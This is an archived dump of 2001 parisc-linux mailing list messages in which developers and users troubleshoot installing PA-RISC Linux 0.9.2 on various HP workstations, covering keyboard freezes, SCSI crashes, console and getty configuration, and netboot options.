Message-ID: <1A8904C3797ED411AC2E0008C7E6F88117C91E@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416620315 22517 80.91.229.3 (22 Nov 2014 01:38:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: 'Richard Hirst' <rhirst@linuxcare.com>,
	"Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 17 02:59:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from nlntadn.ats.nld.alcatel.nl (unknown [193.173.147.190])
	by dsl2.external.hp.com (Postfix) with ESMTP id A9199482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 02:59:41 -0600 (MDT)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2650.21)
	id <34ZXXDNS>; Tue, 17 Jul 2001 10:59:39 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:11661

Thanks Richard,

Tried it straight away, but no luck!
Neither keyboard or mouse unplug/replug, nor space, return, escape, ctrl-c,
ctrl-d or any function key seems to be noticed.
I'll try to find an other idle-hp-machine to see if i see the identical
behaviour....

Hans

> -----Original Message-----
> From:	Richard Hirst [SMTP:rhirst@linuxcare.com]
> Sent:	Tuesday, July 17, 2001 10:47 AM
> To:	Witvliet, Hans
> Cc:	parisc-linux@lists.parisc-linux.org
> Subject:	Re: [parisc-linux] Booting 0.9.2 on C110
> 
> On Fri, Jul 13, 2001 at 02:40:19PM +0200, Witvliet, Hans wrote:
> > High all,
> > 
> > Just downloaded 0.9.2 image, burned it, and gave it a try on my C110.
> > (should work afaik)
> > For  the broad picture:
> > C110, 256MB mem PS/2 keyboard & mouse, two lan interface, neither
> connected
> > (yet) and no serial console)
> > 
> > Booting went well, switched to STI-console (nice tux  in upperleft
> corner)
> > In a blink boot (cpu, mem, disks, lan) info flashed across the screen,
> and
> > then, instead of login, a graphic screen with a general debian message
> that
> > it is experimental software.
> 
> That is correct, you are about to install linux from CD, so you are seeing
> the first screen of the installer output.
> 
> > After that the system seems to be frozen...
> 
> There are problems with the keyboard driver; for some people unplugging
> the keyboard and this point and then plugging it in again clears the
> problem.  I found that an old Compaq keyboard did not lock up at all.
> You should be able to press <space> or <return> on that screen and get
> the main menu of the installer displayed.
> 
> Richard




From - Thu Nov 08 21:18:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palinux-0.9.2: Installation fails on C180
Date: Tue, 17 Jul 2001 10:11:40 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20010717101140.M30356@linuxcare.com>
References: <01071511264600.00948@octopus>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620315 22522 80.91.229.3 (22 Nov 2014 01:38:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, okraus@t-online.de
To: Reinhard Gimbel <Reinhard.Gimbel@freenet.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 17 03:13:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B509482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 03:13:36 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 12A1AB00C; Tue, 17 Jul 2001 10:11:40 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <01071511264600.00948@octopus>; from Reinhard.Gimbel@freenet.de on Sun, Jul 15, 2001 at 11:26:46AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11662

On Sun, Jul 15, 2001 at 11:26:46AM +0200, Reinhard Gimbel wrote:
> 
> Hi folks !
> 
> Recently I bought an C180 at a local 2nd hand computer store. 
> 
> I tried to install the latest palinux-0.9.2 (esiee.fr), but the 
> installation failed :-(
> 
> The download itself went ok (md5sums ok), no probs while 
> burning the ISO image (using xcdrgtk). The C180 boots from the 
> CD-R, the system can be set up (HD partitioning, creating the 
> ext2 filesystems, etc.) but during heavy traffic on the SESCSI 
> bus the system crashes (sometime during kernel installation, 
> sometimes during base system installation).

I guess you are installing from CD on SESCSI, to disk on FWSCSI.
You could try to install from the network, so only the one scsi controller
is active.  See if that helps.  You could probably boot from the CD, then
tell the system to load everything via http or nfs, having exported the CD
contents from a suitable server.

Richard





From - Thu Nov 08 21:18:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 no longer boots into console?
Date: Tue, 17 Jul 2001 10:29:03 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20010717102903.N30356@linuxcare.com>
References: <Pine.LNX.4.33.0107151938330.529-100000@goliath>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620315 22523 80.91.229.3 (22 Nov 2014 01:38:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:35 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@lists.parisc-linux.org>
To: Tom <tom@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 17 03:30:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29390482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 03:30:59 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id AC5D0B00C; Tue, 17 Jul 2001 10:29:03 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.33.0107151938330.529-100000@goliath>; from tom@alaskatech.org on Sun, Jul 15, 2001 at 07:50:39PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:11663

On Sun, Jul 15, 2001 at 07:50:39PM -0800, Tom wrote:
> So I upgraded from the 0.9 to the latest 0.91. Exerything worked nicely,
> no errors, except now I get no login on the console. Looking over the boot
> messages there's no errors, but there is two lines saying the FB is alive
> and well and the console is switching to STI FB color console. Last
> messages is after "INIT: switching to runlevel 2" and all the
> "starting:..." messages (the last one is cron starting).
> 
> I *had* all the common pitfalls saved, until I had a drive crash in the
> mail server and nuke all the saved mail :-(. So, if someone can tell me
> the simple solution to this I'd appreciate it... If needed the output of
> dmesg is at http://www.alaskatech.org/stuff/715boot.txt

Presumably you logged in via the network to get that dmesg output,
so the machine is working ok.  Sounds like a frame buffer problem.
0.9 used STI console, 0.9.x uses STI frame buffer, if it is a chipset
it recognises.

When you say you upgraded from 0.9 to 0.91, what do you mean?  Did
you simply reinstall from the new .iso, or something else?  If you just
installed, how did you get to being able to read dmesg without console
access?

I assume your /etc/inittab is spawning a getty on tty0?

Maybe Helge can comment, if he reads this.

Richard





From - Thu Nov 08 21:18:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] setting up the STI console on a 735/99
Date: Tue, 17 Jul 2001 10:30:25 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010717103025.O30356@linuxcare.com>
References: <001401c10b94$29aa0c40$0f809b8e@ati.stlawrencec.on.ca> <0107131413361U.03565@flambe.ireste.fr> <20010716085318.A30207@linuxcare.com> <01071611465307.01046@flambe.ireste.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620315 22528 80.91.229.3 (22 Nov 2014 01:38:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 17 03:32:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CDED482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 03:32:21 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A4A30B00D; Tue, 17 Jul 2001 10:30:25 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <01071611465307.01046@flambe.ireste.fr>; from matthieu.lecorre@polytech.univ-nantes.fr on Mon, Jul 16, 2001 at 11:46:53AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11664

On Mon, Jul 16, 2001 at 11:46:53AM +0200, Matthieu Le Corre wrote:
> Le Lundi 16 Juillet 2001 09:53, vous avez crit :
> > On Fri, Jul 13, 2001 at 02:13:36PM +0200, Matthieu Le Corre wrote:
> > > Le Jeudi 12 Juillet 2001 20:52, vous avez crit :
> > > > So I have now succesfully installed the base system on a external
> > > > narrow SCSI. I can boot off of it. Now the next question is how do I
> > > > set it up to go to the STI console instead of the serial?
> > > >
> > > > Ray
> > >
> > > try console=tty on palo commande line

Shouldn't that be console=tty0 and not console=tty ?

Richard





From - Thu Nov 08 21:18:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not supported by 0.9 version
Date: Tue, 17 Jul 2001 10:57:52 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010717105752.Q30356@linuxcare.com>
References: <000801c10e2e$bb1dee70$d10c6481@HCI009>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620316 22532 80.91.229.3 (22 Nov 2014 01:38:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:36 +0000 (UTC)
Cc: Michael_Handrich@gmx.de, parisc-linux@lists.parisc-linux.org
To: Yan Han <yhan@uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 17 03:59:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDEF1482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 03:59:48 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2DAADB00C; Tue, 17 Jul 2001 10:57:52 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <000801c10e2e$bb1dee70$d10c6481@HCI009>; from yhan@uwo.ca on Mon, Jul 16, 2001 at 03:37:20PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11665

On Mon, Jul 16, 2001 at 03:37:20PM -0400, Yan Han wrote:
> Hi! we tried to install 0.9 version in 715/33. It doesn't work. 
> 
> so use "rbootd" to boot up the machine.

For 715/33, 715/50, and 715/75, you should use the 0.9.2 ISO, as it
contains a fixed glibc, needed for the older processors in these boxes.
See <http://mkhppa1.esiee.fr/download.html>.  I have always booted
via rbootd on my 715/75, never tried a CDROM boot.

Richard





From - Thu Nov 08 21:18:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Le Corre <matthieu.lecorre@polytech.univ-nantes.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] setting up the STI console on a 735/99
Date: Tue, 17 Jul 2001 12:11:37 +0200
Organization: Ecole Polytechnique de =?iso8859-1?q?l'Universit=E9=20de?= Nantes
Lines: 40
Approved: news@gmane.org
Message-ID: <01071712113702.03530@flambe.ireste.fr>
References: <001401c10b94$29aa0c40$0f809b8e@ati.stlawrencec.on.ca> <01071611465307.01046@flambe.ireste.fr> <20010717103025.O30356@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620316 22536 80.91.229.3 (22 Nov 2014 01:38:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 17 04:04:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ireste.fr (mail.ireste.fr [193.52.81.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C03D482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 04:04:52 -0600 (MDT)
Original-Received: from flambe.ireste.fr (flambe [193.52.81.109])
          by mail.ireste.fr (8.9.1a/jtpda-5.3.1) with SMTP id MAA12276
          for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 12:07:02 +0200 (MET DST)
X-Mailer: KMail [version 1.2]
In-Reply-To: <20010717103025.O30356@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11666

Le Mardi 17 Juillet 2001 11:30, vous avez crit :
> On Mon, Jul 16, 2001 at 11:46:53AM +0200, Matthieu Le Corre wrote:
> > Le Lundi 16 Juillet 2001 09:53, vous avez crit :
> > > On Fri, Jul 13, 2001 at 02:13:36PM +0200, Matthieu Le Corre wrote:
> > > > Le Jeudi 12 Juillet 2001 20:52, vous avez crit :
> > > > > So I have now succesfully installed the base system on a external
> > > > > narrow SCSI. I can boot off of it. Now the next question is how do
> > > > > I set it up to go to the STI console instead of the serial?
> > > > >
> > > > > Ray
> > > >
> > > > try console=tty on palo commande line
>
> Shouldn't that be console=tty0 and not console=tty ?

not better ...


>
> Richard
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
_________________________________________________
  
                    Matthieu Le Corre
                  Service informatique
   Ecole Polytechnique de l'Universit de Nantes
      Matthieu.Lecorre@polytech.univ-nantes.fr
                     02.40.68.32.23
__________________________________________________




From - Thu Nov 08 21:18:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Booting 0.9.2 on C110
Date: Tue, 17 Jul 2001 13:24:57 +0200
Lines: 92
Approved: news@gmane.org
Message-ID: <1A8904C3797ED411AC2E0008C7E6F88117C920@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416620316 22539 80.91.229.3 (22 Nov 2014 01:38:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>,
	'Richard Hirst' <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 17 06:10:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from nlntadn.ats.nld.alcatel.nl (unknown [193.173.147.190])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF206482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 06:10:35 -0600 (MDT)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2650.21)
	id <34ZXX1SJ>; Tue, 17 Jul 2001 13:25:04 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:11667

Hi all,

Update to previous message, tried 0.9.2 on following other machines:

B180: identiacl behaviour to C110; system freezes after the "debian/gnu"
messages

B2000 system decided to load 32-bit kernel instead of 64-bit kernel: did not
boot at all.

712/100: system boots, and switches nicely to sti console, continues after
the "debian/gnu" screen

735/125: system fails to see the cdrom during the "search" (probably
scsi/hardware problem)

I tried to reboot the K-server and the R-server, but somehow people were not
all that pleased with me any more ;-)))
So i have to postpone that attempt, but as they are also 64-bit machines, i
expect same results as with the B2000.

Two other C110 systems also freezes after the  "debian/gnu" screen



Kind regards, Hans

> -----Original Message-----
> From:	Witvliet, Hans [SMTP:Hans.Witvliet@alcatel.nl]
> Sent:	Tuesday, July 17, 2001 11:00 AM
> To:	'Richard Hirst'; Witvliet, Hans
> Cc:	parisc-linux@lists.parisc-linux.org
> Subject:	RE: [parisc-linux] Booting 0.9.2 on C110
> 
> Thanks Richard,
> 
> Tried it straight away, but no luck!
> Neither keyboard or mouse unplug/replug, nor space, return, escape,
> ctrl-c,
> ctrl-d or any function key seems to be noticed.
> I'll try to find an other idle-hp-machine to see if i see the identical
> behaviour....
> 
> Hans
> 
> > -----Original Message-----
> > From:	Richard Hirst [SMTP:rhirst@linuxcare.com]
> > Sent:	Tuesday, July 17, 2001 10:47 AM
> > To:	Witvliet, Hans
> > Cc:	parisc-linux@lists.parisc-linux.org
> > Subject:	Re: [parisc-linux] Booting 0.9.2 on C110
> > 
> > On Fri, Jul 13, 2001 at 02:40:19PM +0200, Witvliet, Hans wrote:
> > > High all,
> > > 
> > > Just downloaded 0.9.2 image, burned it, and gave it a try on my C110.
> > > (should work afaik)
> > > For  the broad picture:
> > > C110, 256MB mem PS/2 keyboard & mouse, two lan interface, neither
> > connected
> > > (yet) and no serial console)
> > > 
> > > Booting went well, switched to STI-console (nice tux  in upperleft
> > corner)
> > > In a blink boot (cpu, mem, disks, lan) info flashed across the screen,
> > and
> > > then, instead of login, a graphic screen with a general debian message
> > that
> > > it is experimental software.
> > 
> > That is correct, you are about to install linux from CD, so you are
> seeing
> > the first screen of the installer output.
> > 
> > > After that the system seems to be frozen...
> > 
> > There are problems with the keyboard driver; for some people unplugging
> > the keyboard and this point and then plugging it in again clears the
> > problem.  I found that an old Compaq keyboard did not lock up at all.
> > You should be able to press <space> or <return> on that screen and get
> > the main menu of the installer displayed.
> > 
> > Richard
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:18:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <tom@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 no longer boots into console?
Date: Tue, 17 Jul 2001 06:08:49 -0800 (AKDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0107170603520.5536-100000@goliath>
References: <20010717102903.N30356@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620317 22542 80.91.229.3 (22 Nov 2014 01:38:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:37 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 17 08:11:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from goliath (cable-207-5-237-24.anchorageak.net [24.237.5.207])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98E12482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 08:11:30 -0600 (MDT)
Original-Received: from cable-207-5-237-24.anchorageak.net (cable-207-5-237-24.anchorageak.net [24.237.5.207])
	by goliath (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id GAA07889;
	Tue, 17 Jul 2001 06:08:50 -0800
X-X-Sender: <tom@goliath>
In-Reply-To: <20010717102903.N30356@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11668

> > Me:
> > So I upgraded from the 0.9 to the latest 0.91. Exerything worked nicely,
> > no errors, except now I get no login on the console. Looking over the boot
> > messages there's no errors, but there is two lines saying the FB is alive
> > and well and the console is switching to STI FB color console. Last
> > messages is after "INIT: switching to runlevel 2" and all the
> > "starting:..." messages (the last one is cron starting).

> Richard:
> Presumably you logged in via the network to get that dmesg output,
> so the machine is working ok.  Sounds like a frame buffer problem.
> 0.9 used STI console, 0.9.x uses STI frame buffer, if it is a chipset
> it recognises.

Yeah, the machine itself worked fine, just no console output. COM1 console
as well as SSH in both are quite happy.

> When you say you upgraded from 0.9 to 0.91, what do you mean?  Did
> you simply reinstall from the new .iso, or something else?  If you just
> installed, how did you get to being able to read dmesg without console
> access?

I had been doing the incremental updates, but when the ISO came out I
reinstalled. Console worked fine during the install...

> I assume your /etc/inittab is spawning a getty on tty0?

It is now - that is what I missed. For some reason the 0.91 install
disabled all the tty's for local consoles. Not sure why that is a default
setting, but I just test things - I'm not quite up to understanding what's
actually happening :-)





From - Thu Nov 08 21:18:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 0.9.2 on C110
Date: Tue, 17 Jul 2001 12:12:54 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <200107171812.MAA30279@puffin.external.hp.com>
References: <Hans.Witvliet@Alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620317 22544 80.91.229.3 (22 Nov 2014 01:38:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 17 12:13:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3ACDB482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 12:13:59 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA30279;
	Tue, 17 Jul 2001 12:12:54 -0600
In-Reply-To: Message from "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl> 
   of "Tue, 17 Jul 2001 13:24:57 +0200." <1A8904C3797ED411AC2E0008C7E6F88117C920@nlntmail2b.ats.nld.alcatel.nl> 
Xref: news.gmane.org gmane.linux.ports.parisc:11669

"Witvliet, Hans" wrote:
> Hi all,
> 
> Update to previous message, tried 0.9.2 on following other machines:
...
> B2000 system decided to load 32-bit kernel instead of 64-bit kernel: did not
> boot at all.

CD-Drive on systems with suckyio isn't supported yet. Randolph Chung
committed a first cut of support for it but it's not working yet.
(suckyio is in B/C/J with 4 digits behind it.eg B2000, C3000)

I expected the B2000 to boot with a 64-bit kernel too.
Perhaps the firmware needs to be updated? (See parisc-linux FAQ)
But you can build/install a 64-bit kernel later if you think it will help...
(See previous thread on this in the mail archive)

...
> I tried to reboot the K-server and the R-server, but somehow people were not
> all that pleased with me any more ;-)))

Yeah...I can imagine :^)
K, D, R class are architecturally very similar to C110/C200/C240 machines.
But no one plans on writing drivers for HP-PB devices (K-class).

> So i have to postpone that attempt, but as they are also 64-bit machines, i
> expect same results as with the B2000.

I wouldn't - they are quite different.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/100 no longer boots into console?
Date: Tue, 17 Jul 2001 23:12:02 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20010717211655.A29C8482A@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0107151938330.529-100000@goliath> <20010717102903.N30356@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620317 22549 80.91.229.3 (22 Nov 2014 01:38:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:38:37 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>, Tom <tom@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 17 15:16:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id A29C8482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Jul 2001 15:16:55 -0600 (MDT)
Original-Received: (qmail 30869 invoked by uid 0); 17 Jul 2001 21:16:53 -0000
Original-Received: from pd90406aa.dip.t-dialin.net (HELO there) (217.4.6.170)
  by mail.gmx.net (mp001-rz3) with SMTP; 17 Jul 2001 21:16:53 -0000
X-Mailer: KMail [version 1.2.9]
In-Reply-To: <20010717102903.N30356@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11670

Hi Tom, Richard,

On Tuesday 17 July 2001 11:29, Richard Hirst wrote:
> On Sun, Jul 15, 2001 at 07:50:39PM -0800, Tom wrote:
> > So I upgraded from the 0.9 to the latest 0.91. Exerything worked nicely,
> > no errors, except now I get no login on the console. Looking over the
> > boot messages there's no errors, but there is two lines saying the FB is
> > alive and well and the console is switching to STI FB color console. Last
> > messages is after "INIT: switching to runlevel 2" and all the
> > "starting:..." messages (the last one is cron starting).
> >
> > I *had* all the common pitfalls saved, until I had a drive crash in the
> > mail server and nuke all the saved mail :-(. So, if someone can tell me
> > the simple solution to this I'd appreciate it... If needed the output of
> > dmesg is at http://www.alaskatech.org/stuff/715boot.txt
>
> Presumably you logged in via the network to get that dmesg output,
> so the machine is working ok.  Sounds like a frame buffer problem.
> 0.9 used STI console, 0.9.x uses STI frame buffer, if it is a chipset
> it recognises.

IIRC the 715/100 is nearly identical to the 715/64, so sticon and stifb should work.

> .....

> I assume your /etc/inittab is spawning a getty on tty0?

Tom: Does it ?  If not, then that's why it's failing.

Greetings,

Helge





From - Thu Nov 08 21:18:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 0.9.2 missing compiler ?
Date: Tue, 17 Jul 2001 15:25:21 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <3B54BB51.8CF43B05@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620318 22552 80.91.229.3 (22 Nov 2014 01:38:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
